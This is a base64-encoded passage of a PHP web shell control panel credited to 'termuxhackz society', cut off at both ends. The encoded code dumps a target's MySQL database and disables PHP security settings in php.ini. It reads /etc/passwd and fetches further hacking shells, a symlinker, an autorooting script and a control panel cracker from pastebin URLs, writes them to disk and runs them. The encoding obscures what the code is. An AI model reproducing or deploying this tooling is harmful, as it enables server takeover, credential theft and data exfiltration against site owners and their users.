A8aW5wdXQgbmFtZT0idXNlciIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGRiIHVzZXIuLi4iLz4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InBhc3MiIHR5cGU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iRW50ZXIgZGIgcGFzcy4uLiIvPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJob3N0IiB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgZGIgaG9zdC4uIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImRibmFtZSIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIERCIE5hbWUuLi4iPjxicj4NCiAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfZGIiIHZhbHVlPSJEdW1wIHRoaXMgc2hpdCBkYiA6KSAiIC8+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICA8L2NlbnRlcj4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRfZGInXSkpIHsNCiAgICAgICAgICAgICAgICAgIAkkREJfSE9TVCA9ICRfUE9TVFsnaG9zdCddOw0KICAgICAgICAgICAgICAgICAgCSREQl9VU0VSID0gJF9QT1NUWyd1c2VyJ107DQogICAgICAgICAgICAgICAgICAJJERCX1BBU1MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiAgICAgICAgICAgICAgICAgIAkkREJfTkFNRSA9ICRfUE9TVFsnZGJuYW1lJ107DQoNCiAgICAgICAgICAgICAgICAgIAkkY29uID0gbmV3IG15c3FsaSgkREJfSE9TVCwgJERCX1VTRVIsICREQl9QQVNTLCAkREJfTkFNRSk7DQoNCg0KICAgICAgICAgICAgICAgICAgCSAkdGFibGVzID0gYXJyYXkoKTsNCg0KICAgICAgICAgICAgICAgICAgCSRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbiwiU0hPVyBUQUJMRVMiKTsNCiAgICAgICAgICAgICAgICAgIAl3aGlsZSAoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAgIAkgICAgJHRhYmxlc1tdID0gJHJvd1swXTsNCiAgICAgICAgICAgICAgICAgIAl9DQoNCiAgICAgICAgICAgICAgICAgIAkkcmV0dXJuID0gJyc7DQoNCiAgICAgICAgICAgICAgICAgIAlmb3JlYWNoICgkdGFibGVzIGFzICR0YWJsZSkgew0KICAgICAgICAgICAgICAgICAgCSAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb24sICJTRUxFQ1QgKiBGUk9NICIuJHRhYmxlKTsNCiAgICAgICAgICAgICAgICAgIAkgICAgJG51bV9maWVsZHMgPSBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCg0KICAgICAgICAgICAgICAgICAgCSAgICAkcmV0dXJuIC49ICdEUk9QIFRBQkxFICcuJHRhYmxlLic7JzsNCiAgICAgICAgICAgICAgICAgIAkgICAgJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KG15c3FsaV9xdWVyeSgkY29uLCAnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsNCiAgICAgICAgICAgICAgICAgIAkgICAgJHJldHVybiAuPSAiXG5cbiIuJHJvdzJbMV0uIjtcblxuIjsNCg0KICAgICAgICAgICAgICAgICAgCSAgICBmb3IgKCRpPTA7ICRpIDwgJG51bV9maWVsZHM7ICRpKyspIHsNCiAgICAgICAgICAgICAgICAgIAkgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgICAgICRyZXR1cm4gLj0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgVkFMVUVTKCc7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgZm9yICgkaj0wOyAkaiA8ICRudW1fZmllbGRzOyAkaisrKSB7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgICAgICRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgICAgIGlmIChpc3NldCgkcm93WyRqXSkpIHsNCiAgICAgICAgICAgICAgICAgIAkgICAgICAgICAgICAgICAgICAgICRyZXR1cm4gLj0gJyInLiRyb3dbJGpdLiciJzt9IGVsc2UgeyAkcmV0dXJuIC49ICciIic7fQ0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgICAgICAgICAgICAgaWYoJGo8JG51bV9maWVsZHMtMSl7ICRyZXR1cm4gLj0gJywnOyB9DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIAkgICAgICAgICAgICAgICAgJHJldHVybiAuPSAiKTtcbiI7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgJHJldHVybiAuPSAiXG5cblxuIjsNCg0KICAgICAgICAgICAgICAgICAgCX0NCg0KDQogICAgICAgICAgICAgICAgICAJJGhhbmRsZSA9IGZvcGVuKCdkdW1wZWRfZGIuc3FsJywgJ3crJyk7DQogICAgICAgICAgICAgICAgICAJZndyaXRlKCRoYW5kbGUsICRyZXR1cm4pOw0KICAgICAgICAgICAgICAgICAgCWZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgCWVjaG8gKCI8cD5TdWNjZXNzZnVsbHkgZHVtcGVkIGRhdGFiYXNlPC9wPiIpOw0KICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7DQogICAgICAgICAgICAgICAgICBlY2hvICIiOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydzaGVsbHMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtc2l6ZTogMjAwJTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7Ij5TaGVsbHMgQnkgdGVybXV4aGFja3ogc29jaWV0eTwvZm9udD48L2NlbnRlcj48ZGl2IGNsYXNzPSJjb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMSUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9udCBzdHlsZT0iY29sb3I6IHRlYWw7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEyMCU7Ij5DbGljayBBbmQgR2V0IFRoZSBTaGVsbHM8L2ZvbnQ+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0idGhzX3NoM2xsIiB2YWx1ZSA9InRoc19zaDNsbCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJhbm9uZ2hvc3RzIiB2YWx1ZSA9IkFub25HaG9zdHMgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iYmxhY2toYXQiIHZhbHVlID0iQmxhY2tIYXQgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iaW1hZ2VzaGVsbCIgdmFsdWUgPSJBbjBuIDN4UGxvaVRlUiBJbWFnZSBTaGVsbCI+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJtYWRzcG90IiB2YWx1ZSA9Ik1hZHNwb3QgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0icGNkIiB2YWx1ZSA9IlBhayBDeWJlciBEZWZlbmRlcnMgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iY2hldGEiIHZhbHVlID0iS2FzaGltaXJpIENoZWV0YWggU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iMTMzN3dvcm0iIHZhbHVlID0iMTMzNyBXb3JtIFNoZWxsIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImIzNzRrIiB2YWx1ZSA9ImIzNzRrIFNoZWxsIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9Impva2VyIiB2YWx1ZSA9Ikpva2VyIFNoZWxsIj48L3RkPjwvdHI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KDQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnc2NyaXB0cyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPlNjcmlwdHMgQnkgdGVybXV4aGFja3ogc29jaWV0eTwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2NlbnRlcj48ZGl2IGNsYXNzPSJjb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMSUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9udCBzdHlsZT0iY29sb3I6IHRlYWw7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEyMCU7Ij5DbGljayBBbmQgR2V0IFRoZSBTY3JpcHRzPC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9InN5bWxpbmsiIHZhbHVlID0iU3ltbGlua2VyIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImFub25jbWQiIHZhbHVlID0iQW5vbkdob3N0cyBDb25zb2xlIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9Im1hZGxlZXRzIiB2YWx1ZSA9Ik1hZGxlZXRzIENvbnNvbGUiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0icm9vdGVyIiB2YWx1ZSA9IkF1dG9yb290aW5nIFBlcmwgU2NyaXB0Ij48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImNwYyIgdmFsdWUgPSJDb250cm9sIFBhbmVsIENyYWNrZXIiPjwvdGQ+PC90cj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICA8P3BocA0KDQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkb3dubG9hZCgkZmlsZV91cmwsICRzYXZlX3RvKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkc2F2ZV90bywgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydkaGFudXNoJ10pKSB7DQogICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9GSHM2dUdraScsIHJlYWxwYXRoKCIuLyIpIC4gJy9kaGFudXNoLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmRoYW51c2gucGhwIik7ICAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3N5bWxpbmsnXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvaFlHVmY0cVQnLCByZWFscGF0aCgiLi8iKSAuICcvc3ltbGluay5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpzeW1saW5rLnBocCIpOyAgICAgICAgIH0NCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21hZGxlZXRzJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L005bXg1ajRoJywgcmVhbHBhdGgoIi4vIikgLiAnL21hZGxlZXRzLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOm1hZGxlZXRzLnBocCIpOyAgICAgICAgICAgICAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydyb290ZXInXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvc0p4aVJaQUgnLCByZWFscGF0aCgiLi8iKSAuICcvcm9vdGVyLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOnJvb3Rlci5waHAiKTsgICAgICAgICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnY3BjJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L2Q3M0hoWEJrJywgcmVhbHBhdGgoIi4vIikgLiAnL2NwYy5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpjcGMucGhwIik7ICAgICAgICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydhbm9uZ2hvc3RzJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L0NtM1dzUVhMJywgcmVhbHBhdGgoIi4vIikgLiAnL2Fub25naG9zdHMucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246YW5vbmdob3N0cy5waHAiKTsgICAgICAgICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydibGFja2hhdCddKSkgew0KICAgICAgICAgICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9YRnMycFBCTScsIHJlYWxwYXRoKCIuLyIpIC4gJy9ibGFja2hhdC5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpibGFja2hhdC5waHAiKTsgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2ltYWdlc2hlbGwnXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvZVRiVE1CNHknLCByZWFscGF0aCgiLi8iKSAuICcvaW1hZ2VzaGVsbC5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjppbWFnZXNoZWxsLnBocCIpOyAgICAgICAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ21hZHNwb3QnXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvbWpLSlJmWEEnLCByZWFscGF0aCgiLi8iKSAuICcvbWFkc3BvdC5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjptYWRzcG90LnBocCIpOyAgICAgICAgIH0NCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ3BjZCddKSkgew0KICAgICAgICAgICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9jQmlpVTZNUicsIHJlYWxwYXRoKCIuLyIpIC4gJy9wY2QucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246cGNkLnBocCIpOyAgICAgICAgICAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydjaGV0YSddKSkgew0KICAgICAgICAgICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9INmFoNXJuRicsIHJlYWxwYXRoKCIuLyIpIC4gJy9jaGV0YS5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpjaGV0YS5waHAiKTsgICAgICAgICAgIH0NCg0KDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnMTMzN3dvcm0nXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvN1d3TmdXSGgnLCByZWFscGF0aCgiLi8iKSAuICcvMTMzN3dvcm0ucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246MTMzN3dvcm0ucGhwIik7ICAgICAgICAgICAgICAgIH0NCg0KDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnam9rZXInXSAgICkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvZUxUMlB0Wk4nLCByZWFscGF0aCgiLi8iKSAuICcvam9rZXIucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246am9rZXIucGhwIik7ICAgICAgICAgICB9DQoNCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2IzNzRrJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L1VadUYxUktKJywgcmVhbHBhdGgoIi4vIikgLiAnL2IzNzRrLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmIzNzRrLnBocCIpOyAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQoNCg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3N5bWxpbmsnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgInNhZmVfbW9kZSA9IE9GRg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhZmVfbW9kZV9naWQgPSBPRkYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNhYmxlX2NsYXNzZXMgPSBOT05FDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3Blbl9iYXNlZGlyID0gT0ZGDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkUgIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBuYW1lPSJwYXNzd2QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0nYXJlYScgcm93cz0nMjUnIGNvbHM9JzgwJz48P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyA/PjwvdGV4dGFyZWE+PGJyPjxicj48Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPkFuMG4gM3hQbG9pVGVSICAgJiYgQWtEayBTeW1saW5rZXI8YnI+PGJyPjwvZm9udD48YnI+PGlucHV0IG5hbWU9ImNvbmZpZyIgdmFsdWU9IlBocCBTeW1saW5raW5nIiB0eXBlPSJzdWJtaXQiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InBzeW1saW5rIiB2YWx1ZT0iUHl0aG9uIFN5bWxpbmtpbmciPjxicj48L2Zvcm0+PC9jZW50ZXI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydwc3ltbGluayddKSkgew0KICAgICAgICAkcHN5bWxpbmsgPSAiSXk4cVVIbDBhRzl1Q2dwcGJYQnZjblFnZEdsdFpRcHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjbVVLQ205ekxuTjVjM1JsYlNnaVkyOXNiM0lnUXlJcENncG9kR0VnUFNBaVhHNUdhV3hsSURvZ0xtaDBZV05qWlhOeklDOHZJRU55WldGMFpXUWdVM1ZqWTJWemMyWjFiR3g1SVZ4dUlncG1JRDBnSWtGc2JDQlFjbTlqWlhOelpYTWdSRzl1WlNGY2JsTjViV3hwYm1zZ1FubHdZWE56WldRZ1UzVmpZMlZ6YzJaMWJHeDVJVnh1SWdwd2NtbHVkQ0FpWEc0aUNuQnlhVzUwSUNKVGVXMXNhVzVySUVKNWNHRnpjeUF5TURFMElHSjVJR2hCZUU5eUlIUnlNR3BCYmlvZ1hHNGlDbkJ5YVc1MElDSWdJQ0FnSUNBZ0lDQWdJQ0FnSUZOd1pXTnBZV3dnUjNKbFpYUjZJSFJ2SURvZ1RXRjFjbWwwWVc1cFlTQkJkSFJoWTJ0bGNpQW1JSFpKY210SlpDSUtDbTl6TG0xaGEyVmthWEp6S0NkemVXMXNhVzVySnlrS2IzTXVZMmhrYVhJb0ozTjViV3hwYm1zbktRb0tjM1Z6Y2oxYlhRcHphWFJsZUQxYlhRcHZjeTV6ZVhOMFpXMG9JbXh1SUMxeklDOGdkSEl1ZEhoMElpa0tDbWdnUFNBaVQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpYRzVFYVhKbFkzUnZjbmxKYm1SbGVDQjBjaT